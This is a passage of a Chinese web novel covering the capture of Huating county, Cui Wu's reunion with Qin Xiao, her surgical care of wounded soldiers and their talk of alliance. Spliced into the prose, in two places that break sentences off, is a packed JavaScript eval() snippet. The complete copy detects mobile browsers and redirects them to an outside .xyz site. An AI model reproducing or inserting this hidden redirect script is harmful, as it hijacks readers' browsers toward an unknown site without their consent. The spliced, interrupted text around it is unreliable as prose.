寒光闪过,映照出崔芜的皎然玉容,刀锋蓦地顿住。 崔芜一口气把话说完:“我的人已经控制华亭县城,只等瓮中捉鳖。今夜这里的女子少一根头发丝,你们谁也别想活着见到明早日出!” 兵丁见她是女人,原不放在心上,只是见她容色不俗,这才抱着狎玩之心,想听听她说些什么。 熟料听见这么一番话,脸色顿时变了。 偏生崔芜神色严峻、语气决然,叫人没来由心头打突,无法当虚张声势对待。 崔芜:“不妨告诉你们,姓王的是我放倒的,若不信,探探他鼻息便知。” 兵丁半信半疑,当真有人伸手试探,末了一声惊呼:“将军、将军他……没气了!” 队正悚然一震。 没气是正常的,□□会致人呼吸困难,王重珂服了不少,能撑到现在已经很不容易。 但这也意味着,崔芜所有的牌都打了出去,手中已经没了筹码。 但她不肯露出虚弱,凭一股血勇撑住气势:“你们跟着王重珂,无非是为了权势钱财。他能给你们的,我也能,而且,给的更多。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就见逆着熊熊火光,墙头立着一人,手挽强弓,身如劲松,虽看不清眉眼容貌,却有种莫名的熟悉感。 崔芜罕见地呆住,脱口就是那句叫惯了的:“兄长!” *** 一个时辰后,华亭争夺战进入扫尾阶段。 王重珂兵力占优不假,相当一部分却是裹挟来的地痞青壮,战力比仓促训成的新兵还不如,几乎一个照面就丢盔卸甲,逃得逃降得降。 比较棘手的是王重珂从镇野军中带出的数百精锐,这是上过沙场的老兵,远非寻常青壮可比,虽斗志溃散、无心恋战,一时半会儿倒也难以拿下。 幸好,最关键的时刻,来了生力军。 那小将军颜适带的人马不多,一双眼睛却贼尖,观战不过片刻,已将战阵精髓摸得七七八八。再等须臾,甚至可以开口指点:“长枪上二,藤盾退一……那个拿短刀的,对,说你呢,往左,砍他要害!” 新兵不明所以,却下意识听从了颜适号令,使长枪的前进两步,刚好补上毛竹空当。拿藤盾的后退一步,挡住侧翼攻来的敌人。 使短刀的趁机向左,刀锋横扫,正抹中敌人大腿根。那人惨叫倒地,边滚边哀嚎。 丁钰被延昭护在身后,百忙中往屋顶掠了眼,只见颜适嫌站着太累,居然大剌剌地坐下,屈膝笑吟吟道:“都这时候了,还杵在原地做什么?毛竹上前,长枪跟上,刺那个带头的!” 所谓一寸长一寸强,有毛竹在前开路,新兵压力小了许多。军阵慢慢压上,竟逼得守城军步步后退。 副尉还想压住阵脚,不料拿长枪的听从颜适号令,顺势往前一刺,枪头正中副尉腰肋。他嘶声痛呼,极狼狈地闪躲开。 主将尚且如此,旁人自不必提。眼看胜局将定,颜适这才摁住脖子歪了歪头:“兄弟们,来都来了,疏散疏散筋骨也不错。” 他朗声大笑,纵身跃入战团,人尚在半空,长刀已然出鞘,寒光翻涌,极利索地斩落一级人头。 十余名亲兵跟着他杀进杀出,局势越发一边倒。 转眼鸡鸣三声,东方初见曙光。 丁钰几乎是连滚带爬地冲进县衙,从议事厅里薅住崔芜,上下左右来回检查:“没事吧?没受伤吧?没人对你怎么样吧?” 崔芜抽了抽嘴角,用沾了血迹的手,将他薅住自己的爪子扒拉下去,然后半侧过身,露出身后一人:“为诸位引见,这位是河西道节度使,安西军少帅,秦萧秦郎君。” 所有人的目光瞬间转来。 30. 第三十章 兄长 “河西节度使秦萧”于素未谋面之人而言并不陌生,说书先生的拍案惊奇也好,世人口耳相传的故事也罢,都不难看到河西秦家的身影。 尤其六年前,河西秦氏满门俱灭,唯留一个庶子独撑大局,镇守河西六年之久,往西顶住了西域窥伺,向北扛住了党项觊觎,东、南还有伪王作乱与蜀国犯边,四方邻居挨个数过,竟没一个好相与。 而他竟能在这四方窥伺之地站稳脚跟,硬是守住了丝路门户,其悍勇可见一斑。 见到真人之前,丁钰想象过无数次安西军少帅的形象,无外乎虎背熊腰五大三粗,再不济也是个升级版的延昭。 谁知见到真人,才知所有想象皆无用武之地,只能当场傻眼。 秦萧是武将不假,可第一眼看见他,极少有人不大吃一惊。理由无他,容貌和气度太出色了,举手投足间的贵气浑然天成,不必穿锦着绣也知是世家贵胄出身。 可多相谈两句,就能分辨出其眼角眉梢的骁悍之气,那是常年浸润战阵的一军统帅才能培养出的气质。 听了崔芜引见,秦萧放下茶盏,抬眸投来一瞥。 其实无甚情绪外放,可丁钰就是没来由地心口一凉。 然后,他猛地反应过来:等会儿,这小子好生眼熟。 他他他,他不就是当初和崔芜一起被救上丁氏商船,还自称是人家大哥的那位吗? 丁钰脑子里被七八个念头充斥,全然没见崔芜亦转向秦萧:“兄长,这位丁六郎君便是当初相救你我的丁三郎君族弟,这一路艰辛,多得他相助扶持。” 秦萧不知是对丁氏有意见,还是纯粹生性冷淡,不爱搭理人,只淡淡一颔首。 丁钰逮到机会,猛看崔芜:他真是你哥? 崔芜冷淡反瞪:不是我哥,是你哥不成! 她其实有一肚子的话要和秦萧说,离愁别绪与好奇八卦掺和在一起,简直排不出先后顺序。但她知道轻重缓急,向秦萧告罪一声,便先顾着自己人:“情况如何了?” 丁钰这才想起正事:“华亭拿下了,不过还有好些残兵四处逃窜,怕是会惊扰百姓,延昭还在打扫残敌。” “另外,王重珂的人听说消息,兴许会来攻打华亭,城防也得重新加固。” “再有就是救治伤兵、安抚民生……” 丁钰随便一掰手指,就数出一大串事宜,好似山崩后的巨石劈头盖脸砸下,将崔芜自见到秦萧后生出的一点动荡心绪瞬间压熄火了。 她刚经历过一场激战,肾上腺素还没完全消退,思路异乎寻常地清晰,一口气吩咐道:“让延昭将城防事宜拟个草案……呸,条陈出来,如何驻防,何时换岗,如何检查进出人员,有趁火打劫作奸犯科者又该如何处置,全都细细列明,明日傍晚前呈我过目。” “再命人于城中张贴告示,并鸣锣警示百姓,就说王重珂已死,华亭归属先歧王遗女治下。百姓未作恶者,只管安生过他们的日子,如之前兵痞滋闹之事必不会再有。” “然后,”崔芜喘了口气,忽略提到“歧王遗女”时,秦萧若有似无看向她的视线,追问道,“昨晚夺城,伤亡如何?” 丁钰猜到她会问这个,早有准备:“重伤十五人,轻伤四十二人。” 托鸳鸯阵的福,那二百余新兵暂时没出现阵亡的,但古代医疗条件差,谁也说不准十五个重伤的倒霉蛋会不会踩中雷。 “所有伤员全部挪进县衙,就安置在西偏院,”崔芜说,“再把城内所有药材和郎中都调集过来,听我差遣。” 丁钰皱眉:“华亭被那姓王的糟践得不成样子,去哪找药材?” 崔芜用“你傻吗”的眼神看他:“姓王的占据华亭这么久,好东西肯定都捞自己兜里了,旁的地方没有,你不会翻翻他的库房?” 保不准连什么千年人参、万年灵芝都能翻出来! 丁钰默默给了自己一巴掌,脚不沾地地跑了。 崔芜回过头,对上秦萧别有深意的视线。 他一字一顿:“先歧王遗女?” 崔芜笑了笑,坦然解释道:“拉大旗扯虎皮,不然怎么名正言顺地收拢人心?总不好跟他们说,我是河西秦家失散多年的亲闺女。” 秦萧正低头喝茶,闻言顿了一瞬,喉头滑动,将茶水咽下,欲言又止。 偏偏这时,岑明快步进来,先隐晦又好奇地打量秦萧两眼,方向崔芜禀报:“一应伤兵都挪到西偏院,王重珂掳来的女子则安置在东院,郡主意欲如何?” 秦萧只得将话咽回去。 崔芜没留意,向岑明吩咐道:“寻处安静院落收拾出来,供秦帅及其麾下歇息。” 又对秦萧道:“华亭新下,诸事繁杂,兄长容我先行失陪。” 秦萧颔首。 崔芜匆匆去了。 岑明被留下为秦萧一行引路,谁知这传闻中的河西节度使人是起身了,却不曾与他同行,出门后拐了个弯,径直往安顿伤兵的西偏院去了。 岑明曾在镇野军多年,没少听说河西秦氏的名头,对这位年不满弱冠就统领安西军镇守丝路入口多年的秦二郎君十分佩服。左右西偏院不是什么要地,崔芜也没说不让人去,他干脆不吭气,权当自己是个哑葫芦,闷不作声地跟在后头。 秦萧当然不是闲得没事随处溜达,此次与崔芜重逢,他明显感觉到,这女子身上有种自内而外的变化。 刚离江南地界时,她是沉郁而迷茫的,压抑于风尘出身的卑贱,彷徨于不知前路的无措。 但是在华亭县衙再见她时,她心里有谱、眼底有光,笃定与从容是从骨子里散发出的,因为选定了自己的路,纵千万人,吾亦往矣。 不可思议,一个女子,居然在乱世里扎下了根脚。 更难以想象的是,她还真拿下了华亭。 *** 王重珂一介武夫,虽据了华亭县衙,却未好好整饬,从那颇有土匪窝风格的“议事堂”便可见一斑。 好在,行伍之人都喜阔朗,东西偏院修得格外大,正适合安顿伤兵。 秦萧走进去时,只见偌大的院子支起木架,再搭上毛毡,就是个简易营帐。熟悉的味道滚滚而来,混杂了血腥、铁锈和汗臭味,不怎么好闻,却让久经战阵的悍将心安。 他一眼扫过去,没怎么费力就寻到了崔芜。她换了身干净衣裳,脸也洗得干干净净,长发像男子一样束在头顶,包了块干净头巾,正低头为伤兵处理伤口。 她治伤的手法也特别,不是简单地抹药包扎,而是用沸水中滚过的针线,一针一针缝合伤口。弯头的细针扎进皮肉,伤兵疼得一哆嗦,立即换来她的斥责:“别乱动,扎歪了怎么办?” 伤兵年岁不大,看样子刚入伍没多久,闻言很是紧张:“扎歪了会怎样?” 崔芜头也不抬:“会留疤,长在胳膊上,难看得要死,以后漂亮小娘子都嫌弃你,不肯嫁你做媳妇儿。” 伤兵:“……” 他一张脸红成了猴屁股,旁边的老兵哈哈大笑,好似身上伤口也没那么疼了。 秦萧会心一笑,随即留意到更多——临时搭建的伤兵营虽杂乱,却很是干净。地面一尘不染,血迹和秽物都被及时清走。几个临时征调来的郎中帮着轻伤兵员包扎伤口,每处理一个都要用清水和皂角净手,包扎用的麻布也在开水里烫过,绝不混着使用。 “金创药粉呢?”崔芜不知自己一举一动正被人密切注视,头也不回地唤道。 旁边有人递来一个小瓷瓶,她揭开闻了闻,眉头皱得死紧,“这是金创药?主药是什么?” “是黄金石,”那人道,“研细成粉,敷在伤口上能止血。” 崔芜:果然。 她捂住额角,长叹了口气。 黄金石是别名,这玩意儿还有个更通俗易懂的名字,叫雄黄。根据《唐本草》的记载,这玩意儿的确有收敛伤口、治疗筋骨损伤的功效,但问题是,雄黄主要成分是二硫化二砷。 砷,也就是俗称的砒霜。 这要是用量不对,或是雄黄提炼过程中出了差错,救命不成了催命? “我重新开一味药,按方配制。” 崔芜取来纸笔,提笔写下配方:散瘀草、苦良姜、老鹳草、白牛胆、田七、穿山龙以及淮山药。 此方记载于《本草纲目》,白牛胆主治风湿,穿山龙可舒经活络,散瘀草和田七则是治疗外伤出血和跌打损伤的常见中草药。(1) 按照李大家的说法,光这些还不够,想配制顶级金创药,还需一味药引,药材是熊胆、龙骨和龙涎香。 熊胆和龙涎香自不必说,金贵东西,有钱也未必能弄到。龙骨更难得,是大型哺乳类动物的骨骼化石,有镇静安神、收敛固涩的功效。 如果只是这样,倒也罢了,可在古代,这种化石往往被用来干一件事——写字。 殷墟出土的大量甲骨文,就是记载在这东西上的。搁在后世,那是板上钉钉的国家一级文物! 谁舍得拿文物来配药? 反正崔芜不舍得。 只能先搁置。 郎中应了,正要按方取药,旁边突然伸来一只手,将写着药方的纸抽走。 “欸,你这人怎么……” 郎中抬头,就见夺走药方的是个气度不凡的年轻男人,知道他必有身份,到了嘴边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568989|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的粗口生生咽下。 秦萧垂眸,将用药配比牢牢记在心里,又将方子还给郎中。 郎中接过揣怀里,飞也似地跑了。 崔芜还不知身边已换了人,眼看一重伤新兵出血不止,焦急唤道:“快过来帮手,摁住这里!” 秦萧撩袍蹲下,依着吩咐掐住血管上端。 崔芜看清是他,第一句话却并非道谢寒暄:“你洗手了没?” 秦萧:“……” 他默默走去一边洗手,还按照阿绰的指点,用皂角搓了又搓。 这才被允许在旁帮手。 这个新兵比较倒霉,被流矢射中手臂,偏偏又是靠近动脉血管的位置。他失血不少,察觉体温流逝,不由又惊又怕,声音隐隐带上哭腔:“流这么多血,我、我会不会死?” 崔芜:“别总想着死。” 新兵燃起希望:“不想就不会死了吗?” 崔芜冷酷无情:“不想,死的时候就没那么怕了。” 新兵:“……” 旁听了两人对话的秦萧:“……” 崔芜嘴里刻薄,手上却分毫不慢,用自制的羊肠黏膜手术线穿了银针,在血脉破裂处飞针走线。 秦萧被吸引了注意,只见那双手纤长柔白,缝合的动作灵巧娴熟,极为赏心悦目。她在不足一根小指粗的血脉上缝针,就像绣娘在绷紧的绸缎上绣花,每一针都胸有成竹,从容不迫。 少顷,她缝合完毕,原本如泉涌的出血立时止住。但这还没完,因为箭头构造,拔箭造成的伤口很难完全缝合,而半开放的伤口远比密闭的伤口容易受到感染。 鉴于条件有限,崔芜只能用淡盐水清洗创口消毒,再敷上干净的麻布防止脏污,最后如上回一样准备了芦苇管引流。 新兵眼巴巴地看着她,直到崔芜起身,才颤抖着问:“这就……好了?” 崔芜对自己人远比对胡兵耐心多了,见那新兵似是比自己还小,语气更缓了三分:“暂时处理完了,但能不能闯过这关,还要看接下来的恢复。” 说到这儿,她突然想起一事,抬头唤来阿绰:“伤兵每日需饮盐糖水,就跟在铁勒军营时一样,回头我把配比写给你,你来负责。” 阿绰同样是男装打扮,闻言有些为难:“可是……这里没这么多糖和盐。” 崔芜沉默片刻,拍了自己一巴掌。 她在铁勒军营多日,习惯了耶律璟的大手大脚,竟忘了眼下是乱世,糖和盐都属于珍贵物资,普通人哪那么容易弄到? 终究还是……地盘不够大,资源也有限,处处受制啊。 崔芜一边感慨,一边无奈让步:“那就先紧着重伤员,连喝三日,再视恢复情况而定。轻伤员也别怠慢,无论如何,一日一个鸡子总要保障,若是吃不下,就冲成蛋花汤喝了。” 阿绰脆生生地答应了。 崔芜抓紧时间将几十个伤兵挨个检查过一遍,越到后来身边围观的人越多,大都是被紧急征调来的郎中。 这就不得不提一句前朝风气,因着皇室有胡人血统,对中原汉室的男女之分守得没那么严实,女子得到了难得的喘息机会,期间甚至还出现一位女帝,将女子地位抬到空前仅有的地步。 如今前朝虽灭,将女子禁锢至死的理学尚未来得及抬头,女子得到的自由和尊重虽不及后世,总比宋明两代强些。这些郎中虽是家传医术,对女人行医竟也没什么偏见,见崔芜的医术自成一派,且对治疗外伤颇为有效,便跟在后头专心学习。 崔芜也不打算藏私,她有预感,麾下兵将只会越来越多,这就意味着每场战役之后,需要救治的伤员也将与日俱增,全靠她一个人非累死不可。 是以,她的讲解极尽细致,对郎中们的提问也是知无不言。只她毕竟专修外科,对中医的涉猎完全来自父辈影响,难免有顾及不到之处。 “我与你们年岁相仿,所学称不上精湛,”实在答不上来,崔芜只能甩锅,顺带找机会偷师,“你们都是祖传行医吧?不妨将家中长辈请来,彼此切磋,也有助医术精进。” 她自觉这番话没什么问题,年轻郎中却一概沉默了。片刻后,有个看着最年长沉稳的开口道:“好叫娘子知道,我等医术尚未出师,原本不敢轻易开药,实在、实在是……” 他说到这儿,喉头微哽,顿了顿方续道:“当初王重珂据了华亭,曾招我等父祖入军中侍奉,只是没几个月,长辈们便过身了。给出的说法是暴毙亡故,却连具囫囵尸首也没瞧见,更不知先人是否入土为安。” “若非如此,以我等微末医术,无论如何也不敢在此献丑。” 崔芜听完也沉默了。 31. 第三十一章 叙旧 乱世人不如太平犬,崔芜已经体会过太多次,劝慰的词藻用光了,情知事关生死,说什么都没用,只能用别的话岔开。 她入西偏院时是日出,待到处理完所有伤兵,已是日过中天。出来一看,秦萧居然还没走,就背手站在院门口。 崔芜一瞧便明白了:“兄长有话与我说?” 秦萧淡淡“嗯”了声。 崔芜低头打量自己,看诊前才换上的干净衣裳,眼下又沾了不少血迹,更别提她昨晚又是杀人又是救人,西北风沙又大,头发丝里都是尘土汗渍。 她实在没法忍受自己又脏又臭蓬头垢面,又恐秦萧有要事相商,试探着问道:“能容我先洗澡换身衣裳吗?” 秦萧弯了弯嘴角:“你自便就是。” 崔芜用最快的速度冲进东偏院,又跟被她救下的女人们借了身干净衣裳。女人们遭王重珂蹂躏数月,本已神情麻木毫无指望,被她接二连三地闹了几回,倒有了几分生气。 当下给她寻了衣裳,又合力抬出沐浴用的木桶,问灶间要了热水,打算服侍崔芜入浴。 崔芜自力更生惯了,不习惯旁人服侍,更没有被人围观裸身的爱好,婉言谢绝了。但她也不曾敷衍女人们,正色道:“我这几日庶务缠身,大约顾不上你们,你们不妨用这段时间好好想想,往后怎么打算。想好了,我再找你们说话。” 她注视着女人们通红麻木的眼,一字一顿:“向前看,日子还长着呢。” 女人们疲惫的脸上若有所思。 较真算起来,自崔芜遭铁勒人挟持北上,至今总有三四个月,她竟没好好洗过一个澡。最近一次沐浴还是出征前,实在耐不住身上脏臭,瞅着深夜没人,叫上丁钰放哨,偷摸跑去军营附近的小河里洗了个战斗澡。 幸好如今是六月末,天气炎热,倒不至于着凉。只是鬼知道河里有多少不明病菌,洗个澡也战战兢兢,哪有热水浸浴来得舒爽? 热水是厨房烧的,伤兵要补充电解质,麻布绷带要放进滚水消毒,灶间就没熄过火。趁着诸多琐事暂告一段落,崔芜临时征用了灶台,足足烧了两大盆,总算痛痛快快地洗了个热水澡。 只可惜这时候没有香皂,王重珂又不是讲究人,也没弄点澡豆备着,只好拿皂角凑合。 “回头日子安稳了,得想法把香皂弄出来,”崔芜一边清洗头发、按摩头皮,一边惬意地长吁一口气,脑子里得了空闲,终于有机会七想八想,“当时好像刷到过古法香皂的做法,草木灰、贝壳水、竹盐……还有什么来着?” 她用最快的速度,还是足足洗了两刻钟,从头到脚搓下三层泥,整个人好似换了一张新皮囊,从没有这般清爽过。 她最狼狈的模样都被秦萧瞧见过,熟不拘礼,也懒得梳妆打扮,直接套上干净衣物,湿漉漉的头发拧得半干,随意披落肩头,就这么走出门去。 昨夜一场大火,将后院烧得七七八八。幸而连结东西偏院的过道后面修了个小花园,虽无甚景致,却种了一丛修竹,生得郁郁葱葱、清幽雅致,掩着四面敞风的凉亭,倒是个绝佳的谈话之所。 崔芜赶到时,秦萧已经等了有一阵子。亭中石桌上扣着两只盖碗,他坐在桌边,抬眸看清崔芜形容,显而易见地愣住。 崔芜拿帕子绞着长发:“刚沐浴完,懒得梳头,兄长不介意吧?” 秦萧拢眉,抖开搭在一旁的披风,罩过崔芜肩头:“你底子薄,别受凉了。” 崔芜知道,他是指当初落胎一事。只是秦萧为人自有章法,既顾虑女子名节,又恐戳人伤处,这才说得含混不清。 她抿嘴一笑,领了这份贴心,裹着披风坐下:“怎么,兄长还没用饭?” 秦萧:“我用过了,这是厨房为你准备的。” 崔芜自昨晚起就没正经吃过东西,折腾了一宿加半个白天,确实早饿了。方才起身时,甚至有些头晕眼花,便知是犯了低血糖。如今见了吃食,简直比爹娘还亲切,顾不上跟秦萧客套,直接上手揭开盖碗。 香气扑鼻,却是一碗加了薄醋的肉丁臊子面(1),并一碟新出炉的胡饼。 崔芜饿得狠了,夹起面条就是一大口。不得不说,能在王重珂手下活到现在,这厨子确实有两手,面条筋道,肉臊鲜香,还特意照顾到她的口味,没敢放重料,酸辣都只稍作调味。 崔芜吃出满头大汗,脸上溅了汤汁亦不觉。秦萧安安静静地坐在一旁,只在她吃噎住时微皱了皱眉,很自然地摸出一方帕子,倾身擦去崔芜脸上汤汁:“慢些吃,厨房还有,饿不着。” 崔芜打了个心满意足的饱嗝,有一瞬间觉得秦萧方才的举动太亲昵了。但转念一想,自己“兄长”叫了少说百八十遍,秦萧也默认了,又不是陈朱理学当道的宋明,当哥哥的给妹子擦把脸,不是很应该吗? 遂心安理得地接受了。 “兄长怎会来了华亭?”她填饱肚子,不怎么讲究地一抹嘴角,终于有心思切入正题,“当初汴梁一别,我还担心兄长会撞见铁勒人,幸好兄长平安。” 秦萧将分别后的经历简单说了,又道:“你离开河套,无非两条路,要么西向河西,要么南下关中。颜适说未见你们往西,那十有八九是奔着萧关来的。” “秦某早想往关中一行,正好沿途查访你的行踪,没想到……” 他没说完,崔芜却听懂了——没想到她天生属孙猴子,走到哪都要闹出绝大动静。 她将面条吃得一根不剩,又拈了个胡饼掰开,美滋滋地咬了一大口。 “多谢兄长想着,”她笑弯了眉眼,“昨夜若非兄长出手,还真不好收场……在此谢过。” 被人放在心上惦记终归不是坏事,尤其她穿越十多年,吃的苦头多,受的慰藉少,对于人与人之间的情谊越发珍惜,不肯轻易辜负了。 她将胡饼分了秦萧一半,半开玩笑道:“兄长为何想往关中?不会也冲着陇州来的吧?” 秦萧接了胡饼,意味深长:“若我说是,你当如何?” 崔芜:“不给!华亭是我打下的,谁来也不给。” 秦萧:“……” 他原本存着试探之意,但见崔芜如此坦诚,反倒失笑:“这么小气?” 崔芜理直气壮:“兄长据着河西四郡,好大一块地盘呢!我费了那么多力气,动了无数脑筋,好容易打下一个华亭城,兄长还要与我抢吗?” 秦萧摇头,意有所指道:“河西虽有千里,产粮之地却是不多。且这两年年成不好,军民的日子都不好过。” 崔芜明白他的意思,河西虽是战略冲要之地,奈何条件艰苦、资源有限,仅凭自给自足,支应万余人的军队实在吃力。 相比之下,关中沃野千里,素有“八百里秦川”的美誉,多少王朝据此成就百世基业,不是没有道理。 难怪秦萧动了心思。 但是崔芜处心积虑拿下陇州,便是同样打着东进的主意。脚下占据的地盘虽不大,却是第一处真真正正属于自己的根基,如何甘心让与旁人? 便是秦萧也不行。 “关中固然是天府之国,可惜与河西尚有距离,且中间隔了萧关,来去所耗时间甚多,远水解不了近渴,”她委婉道,“兄长一身干系河西安危,怕也没太多精力东顾。” “与其如此,何不你我兄妹守望相助,彼此互为犄角,好过兄长独撑大局?” “当初身陷江南,这条性命是兄长救的。日后若有所需,我尽倾囊之力,也必定报答兄长恩情。” 秦萧同样明白她的暗示。 崔芜固然根基尚浅,但秦萧也有他的短板,他离关中太远了,中间又隔了萧关。当真发兵来打,战线拉长辎重难以顾及,也很容易给北面和西面的邻居可趁之机。 再者,打下来又如何?崔芜所占之地不过一个陇州,食之无味弃之可惜。再往东,则是伪王的地盘,那是曾经连先歧王都吃了大亏的硬茬,纵然秦萧有安西军神之称,没有几千精兵也实难拿下。 他兵力有限,分不出人手,鞭长莫及。 是以秦萧并非真心想要关中,只是看着眼前的崔芜,心里横亘着一股说不出的滋味——就在几个月前,崔芜还不遗余力地在他面前展露医术和才学,巴望着能将自己打包“卖”给他。 这才过了多久,她就坐在自己对面,以全然平等的姿态,微笑着说出“犄角互助”四个字。 士别三日,即更刮目相看。 莫过于此。 秦萧忽然有些好奇,眼前女子分明有一副能让天下男人为之癫狂的姿容,却要凭自己的脚,走出一条从没有女子走出过的道路。 她能走多远? 秦萧垂眸把玩着茶盏,忽然道:“在汴梁城时,你一直想去西北看看……” 崔芜笑眯眯地:“我现在也想啊。不过得等陇州的事处理完,一切上了正轨,我还有诸多事宜与兄长商量。” 比如,河套的互市被颜适搅合了,中原商人没了互通有无的平台,是不是可以考虑在古丝路入口划一块地盘出来,专门用于胡汉交易? 占着聚宝盆,不发家致富奔小康,实在对不起上天恩赐啊 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秦萧不以为意,只当崔芜客套,一笑置之,忽又转了话题。 “你脸怎么了?”他问了个自见面后就想问的问题。 崔芜摸了把右颊,反应过来:“划伤了,不过不严重,再过阵子就彻底看不出了。” 她手下虽有分寸,奈何这个时空的金创药不过关,脸上伤痕绵延至今都未完全消退,害得她接近王重珂时唯恐被瞧出破绽,不得不编了个极复杂的发髻,用垂落的散发遮住右颊,再多点缀珠饰绒花掩饰。 秦萧仔细端详崔芜,那三道疤痕其实已经很淡了,离近了却仍能看出颜色差别,好似三道污痕横陈于上好洁白的丝绸上,叫人说不出的惋惜。 “谁干的?”他冷冷地问。 崔芜坦然:“我自己。” 秦萧微愕。 “定难军里有个姓李的将官,脑子忒活份,见了这张脸便想孝敬上官,差点将我掳了去。我好容易逃出来,可没兴趣为奴为婢,索性划了这张脸,断了他的念想。” 秦萧搭在膝头的手慢慢收紧:“姓李的将官,可是叫李恭?” 崔芜先是诧异,随即想起河西秦家满门都被这姓李的害了,较真论起来,秦萧与李恭的仇怨可比自己深多了。 “就是他,”崔芜说,“不过兄长不必担心,我知道轻重,伤口不算深,只是看着吓人,过阵子就好了。” 秦萧微微眯眼,视线自崔芜伤处极快掠过,又若无其事转开:“李恭与我河西秦家不共戴天,我必杀他。” 崔芜立刻道:“那兄长动手前,能不能让我在他脸上划个百八十道,再游街三日,好生出口恶气?” 秦萧刚凝起的煞气颤了颤,险些没绷住:“……自无不可。” 崔芜眯眼冲他笑了笑。 秦萧再次转开视线,神色平静地扣上茶盏:“女子容颜最为要紧,你就不怕出了差错,留下疤痕?” 这于崔芜而言不是什么愉快的话题,脸色当即微沉。 “自我记事以来,这张脸带给我的麻烦可是大过好处,”她淡淡地说,“身陷青楼是因为这张脸,被孙彦看上强逼做妾也是为了这张脸,若有的选,我倒宁愿舍了这麻烦,换后半生安稳太平。” 她话音顿住,忽然意识到这话有偏颇,盖因如今世道黑暗,有没有这张造孽的脸,都注定不得太平。 于是找补道:“不过这回对付王重珂,这张脸倒也有些用途,可见老天关上一扇门,总还记得留张窗给我。” 秦萧曲指在膝头敲了敲。 说实话,生就崔芜这般姿容的,相当于抽中了老天赋予的免死金牌,只要她愿意,完全能过上衣食无忧的安宁日子。 好比隋末炀帝的萧后,虽身如飘蓬、历经六帝,却因天生殊色而受各方厚待,后被前朝太宗纳入后宫,年过六旬方寿终正寝。 如此过完一生,于乱世女子而言,不可不谓是善终。 但崔芜偏偏不肯要这个“善终”,宁可划花了这副安身立命的资本。 “终究还是行险了些,”沉默良久,秦萧说,“为长远计,可一而不可再。” 崔芜方才沐浴时就在想这件事,只不过出发点与秦萧南辕北辙:“兄长说得是,行险取巧不可长久,非国战之道。” 秦萧本意是提点她,居上位者不可轻易拿性命冒险,听了这话却再一次沉默了。 32. 第三十二章 王军 何为国战? 举倾国之力剿灭他方政权,奠定万世基业,此所谓国战。既是国与国之间的征伐,若无几万军队投入其中,都不好意思沾这个“国”字。 崔芜出身低微,麾下不过两三百之众,连拿下一个小小的华亭都要绞尽脑汁再三绸缪,却敢夸下海口,妄谈国战之道。 她脑子里到底在想什么?一个姑娘家,哪来那么大的野心,那么强的胆魄? 但秦萧没有出言打击,他回忆着崔芜从江南到陇州的一路,不得不承认,期间她走过的每一步、做出的每一个选择,都是寻常女子想也不敢想的。 也许“国战”二字,于她真不是随口说说。 “说到国战,”秦萧沉吟道,“你与守城军交战时所用阵型……” 身后却没了声息。 秦萧察觉不对,回头见崔芜保持着单手托腮的姿势,眼睛却已闭起,下巴一点一点,终于支撑不住,脱力似地往石桌上栽去。 她太困了。 秦萧反应极快,闪电般伸出手,掌心托住她面颊,没让崔芜直接栽倒在冷冰冰、硬梆梆的石桌上。 触手温软,是女子特有的娇嫩细腻,虽受了一路风霜磋磨,奈何崔芜底子太好,沐浴后依然如无瑕白玉。 秦萧微微蹙眉,下意识要撒手,崔芜的头却随着他后撤的举动往下偏了少许。他无奈,又不愿让对方真磕了头,只好保持着伸手的姿势,将掌心借与这便宜妹子当靠枕。 崔芜对他真是一点不客气,大约是觉得这“枕头”还算舒服,歪头在他掌心里蹭了蹭,浓密的睫毛搭落脸颊,投落淡淡暗影。 眼底泛着乌青,自决定攻打华亭后,终于睡上一个安稳觉。 秦萧叹了口气,抬手拂开她散落眼前的碎发。 *** 崔芜这一觉还算香甜,只是心里装着事,才歇了两个时辰就挣扎着醒来。 彼时窗外已是红霞漫天,她竟从午后生生睡到傍晚,想到被自己撂在一边的华亭县,整个人都不好了。 大惊之下,崔芜连鞋子都顾不上穿好,拖沓着奔出门去,一边跑一边唤人:“来人!有人在吗?” 华亭新下,百废待兴,县衙也不例外。原来服侍王重珂的婢女,要么被他虐死了,要么也是身心重创遍体鳞伤,崔芜实在不忍心再使唤她们,一律将人安置在东偏院,等恢复过来再说。 至于她自己,因着后院被烧了,暂时歇在正院东厢——对,就是王重珂那颇具土匪画风的“议事堂”旁边。 不过……等会儿,她记得自己午后明明是在与秦萧商谈,怎会突然睡着了?又是怎么从后院花园挪到正院东厢的? 崔芜敲了敲脑袋,奈何睡得太沉,思绪完全断片,什么也想不起来。 倒是议事堂里的人,听到动静跑了出来,除了狄斐派到崔芜身边的岑明和赵行简,就是丁钰和不离寸步的阿绰。 “主子!”自拿下华亭,阿绰就对崔芜改了称呼,见她醒了,端着脸盆迎上前,“刚烧的热水,洗把脸吗?” 崔芜暗暗庆幸自己当初留下这对兄妹的决定,比起五大三粗的老爷们儿,女孩子确实要细心太多。 她拧出温热的手巾敷在面上,自觉清醒了才道:“兄长安顿好了?” 丁钰点头:“在县衙旁边收拾出一处空宅,秦帅及其亲随暂时在那儿歇脚,一应饭食都由咱们送去。宅子里有井台有灶间,饮水沐浴都能自己烧。” 崔芜没问空宅原来的主人去哪了,想也知道答案不会令人太愉快。 又问:“我让延昭拟的布防条陈呢?可送来了?” “在这儿。” 丁钰从怀里掏出一卷纸,崔芜接过,才瞅了一眼就触电般别开脸,实在是……字丑得没眼看了。 “算了,”崔芜无奈,“延昭人呢?我当面问他吧。” 阿绰:“我哥哥去县衙大牢了。” 崔芜一愣:“去大牢做什么?” 